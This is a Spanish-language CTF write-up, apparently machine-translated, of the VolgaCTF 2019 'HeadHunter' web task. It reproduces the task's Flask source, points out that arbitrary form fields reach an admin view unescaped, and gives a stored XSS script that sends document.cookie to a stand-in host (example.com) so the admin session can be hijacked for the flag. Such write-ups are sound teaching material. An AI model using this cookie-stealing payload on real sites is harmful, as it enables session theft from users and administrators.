Clasificatorio Volga CTF 2019: HeadHunter Quest

¡Hola! Del 29 al 31 de marzo se celebró la ronda clasificatoria VolgaCTF .

Los organizadores prepararon una gran cantidad de tareas en diferentes categorías (por cierto, incluida la nueva, falsa, tareas para encontrar desinformación).

El objetivo del trabajo de HeadHunter, como todos los demás, es obtener una clave secreta. Para comenzar , obtenemos el archivo WEB.py y un enlace al sitio.



Búsqueda de vulnerabilidad


Inmediatamente siga el enlace, vemos un mensaje de bienvenida. Nos estamos registrando En la pestaña Vocación, observamos una forma de varios campos: Ingrese cualquier información e intente enviar. El formulario se envía correctamente y en la pestaña Lista de solicitudes vemos nuestra solicitud pendiente. Después de un par de decenas de segundos, su estado cambia a "visto": eche un vistazo al archivo adjunto.









WEB.py
def create_app(test_config=None):
    app = Flask(__name__)
    app.config.from_mapping(test_config)

    # a simple page that says hello
    @app.route('/home', methods=['GET'])
    def home():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return render_template('home_admin.html', flag=FLAG)
                else:
                    return render_template('home.html', cvs_list=db_get_user_cv(session['username']))
            else:
                session.pop('username', None)
                session.pop('token', None)
        else:
            return redirect(url_for('main'))


    @app.route("/cv/<cvid>", methods=['GET', 'DELETE'])
    def work_cv(cvid):
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    db_check_cv(cvid)
                    cv_work = db_get_cv(cvid)
                    if cv:
                        cv_data = []
                        k = cv_work.keys()
                        for key in k:
                            temp = {"key": key, "value": cv_work[key]}
                            cv_data.append(temp)
                        return render_template('cv_admin.html', id=cvid, cv_data=cv_data)
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.route("/cv_list", methods=['GET', 'DELETE'])
    def cv_list():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    # TODO
                    return render_template('all_cvs.html', cvs_list=db_get_new_cv())
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.route('/login', methods=['GET', 'POST'])
    def login():
        if 'token' in session:
            return redirect(url_for('home'))
        if request.method == 'GET':
            return render_template('login.html')
        else:
            u_login = request.form.get('login')
            u_password = request.form.get('password')
            if u_login and u_password:
                user = db_find_user(u_login, u_password)
                if user:
                    session['username'] = u_login
                    session['token'] = token_generator()
                    db_update_user_token(u_login, u_password, session['token'])
                    return redirect(url_for('home'))

        session['last_error'] = "Username or password wrong :("
        session['last_url'] = "/login"
        return redirect(url_for('error'))

    @app.route('/', methods=['GET'])
    def main():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                return render_template('main_auth.html')
            else:
                session.pop('username', None)
                session.pop('token', None)
        else:
            return render_template('main.html')

    @app.route('/registration', methods=['GET', 'POST'])
    def registration():
        if 'token' in session:
            return redirect(url_for('home'))
        if request.method == 'GET':
            return render_template('registration.html')
        else:
            u_login = request.form.get('username')
            u_password = request.form.get('password')
            if u_login and u_password:
                user = db_find_user(u_login, u_password)
                if user:
                    session['last_error'] = "User already exist :("
                    session['last_url'] = "/registration"
                    return redirect(url_for('error'))
                else:
                    session['username'] = u_login
                    session['token'] = token_generator()
                    db_add_user(u_login, u_password, session['token'])
                    return redirect(url_for('home'))
            return redirect(url_for('error'))

    @app.route('/logout', methods=['GET'])
    def logout():
        session.pop('username', None)
        session.pop('token', None)
        return redirect(url_for('main'))

    @app.route('/error', methods=['GET'])
    def error():
        if 'last_error' in session and 'last_url' in session:
            if 'token' in session:
                session['username'] = check_token(session['token'])
                if 'username' in session:
                    return render_template('error_auth.html', error=session['last_error'], back_url=session['last_url'])
                else:
                    session.pop('username', None)
                    session.pop('token', None)
            else:
                return render_template('error.html', error=session['last_error'], back_url=session['last_url'])
        else:
            return render_template('error.html')

    @app.route('/cv', methods=['GET', 'POST'])
    def cv():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                if request.method == 'GET':
                    return render_template('cv.html')
                else:
                    cv_firstname = request.form.get('firstname')
                    cv_lastname = request.form.get('lastname')
                    cv_email = request.form.get('email')
                    cv_phone = request.form.get('phone')
                    cv_message = request.form.get('message')
                    if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:
                        cv = request.form.to_dict()
                        cv['user'] = session['username']
                        cv['status'] = 'Wait'
                        cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                        if db_count_user_cv(cv['user']) > 9:
                            session['last_error'] = "Maximum of request reached :("
                            session['last_url'] = "/home"
                            return redirect(url_for('error'))
                        db_add_cv(cv)
                        return redirect(url_for('home'))
                    else:
                        session['last_error'] = "The request is not correct :("
                        session['last_url'] = "/cv"
                        return redirect(url_for('error'))
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.errorhandler(404)
    def page_not_found(e):
        return render_template('error.html', error="404: Page not found!", back_url="/"), 404

    return app

Inmediatamente intente encontrar el código que procesa el formulario enviado:
@app.route('/cv', methods=['GET', 'POST'])
    def cv():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                if request.method == 'GET':
                    return render_template('cv.html')
                else:
                    cv_firstname = request.form.get('firstname')
                    cv_lastname = request.form.get('lastname')
                    cv_email = request.form.get('email')
                    cv_phone = request.form.get('phone')
                    cv_message = request.form.get('message')
                    if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:
                        cv = request.form.to_dict()
                        cv['user'] = session['username']
                        cv['status'] = 'Wait'
                        cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                        if db_count_user_cv(cv['user']) > 9:
                            session['last_error'] = "Maximum of request reached :("
                            session['last_url'] = "/home"
                            return redirect(url_for('error'))
                        db_add_cv(cv)
                        return redirect(url_for('home'))
                    else:
                        session['last_error'] = "The request is not correct :("
                        session['last_url'] = "/cv"
                        return redirect(url_for('error'))
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

Llamar a request.form.to_dict () serializa el formulario y después de la "validación" y una pequeña modificación de db_add_cv (cv) guarda todos los datos que vienen con el formulario.
Además, cuando el moderador virtual abre la aplicación, también recibe todo lo que las personas malas pudieron cargar en la base de datos:

    @app.route("/cv/<cvid>", methods=['GET', 'DELETE'])
    def work_cv(cvid):
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    db_check_cv(cvid)
                    cv_work = db_get_cv(cvid)
                    if cv:
                        cv_data = []
                        k = cv_work.keys()
                        for key in k:
                            temp = {"key": key, "value": cv_work[key]}
                            cv_data.append(temp)
                        return render_template('cv_admin.html', id=cvid, cv_data=cv_data)
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

db_get_cv (cvid) recibe datos de la base de datos y, después de una pequeña modificación estructural, entrega todos los datos a la plantilla.

Ataque


Esta combinación de hechos sugiere pensamientos de una posible vulnerabilidad XSS .
Estamos tratando de realizar un ataque típico y robar cookies usando Image src para evitar restricciones de dominio:

<script language="javascript">
    var img = new Image();
    img.src = 'example.com?' + document.cookie;
    document.body.appendChild(img);
</script>

Suponemos que no hay protección y que el texto del mensaje está incrustado en el DOM sin ninguna verificación. En este caso, el código dentro de la etiqueta del script comenzará a ejecutarse. Creará un elemento (imagen) y le asignará una fuente, después de lo cual agregará un elemento al DOM. Esto, a su vez, obligará al navegador a intentar descargarlo haciendo una solicitud a nuestro servidor.

Ahora solo incluya en la solicitud con el formulario un campo adicional con nuestro script, enviar y esperar. El estado cambia a "visto", y una solicitud con cookies en el parámetro de consulta llega al servidor.

El último paso permanece: tomamos las cookies, las configuramos en el sitio, actualizamos la página y obtenemos la clave: la tarea está resuelta.



Source: https://habr.com/ru/post/undefined/


All Articles